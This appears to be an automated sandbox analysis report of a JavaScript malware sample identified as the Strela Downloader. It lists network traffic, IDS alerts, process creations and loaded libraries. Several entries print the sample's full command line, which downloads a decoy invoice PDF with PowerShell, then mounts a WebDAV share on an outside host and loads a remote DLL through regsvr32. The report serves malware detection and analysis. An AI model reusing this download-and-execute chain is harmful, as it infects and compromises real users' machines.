20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:55441 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2129070890.0000026C119E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2190435604.000002C6500D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2190514419.000002C650114000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2185756828.000002C650114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.2190435604.000002C6500D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3411226014.000001B54360F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2191115737.000001B543420000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2788, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3141714165326508962.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_smv5gx5g.qjc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3141714165326508962.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1368,i,1435203139519597145,8076865960399547240,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1368,i,1435203139519597145,8076865960399547240,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
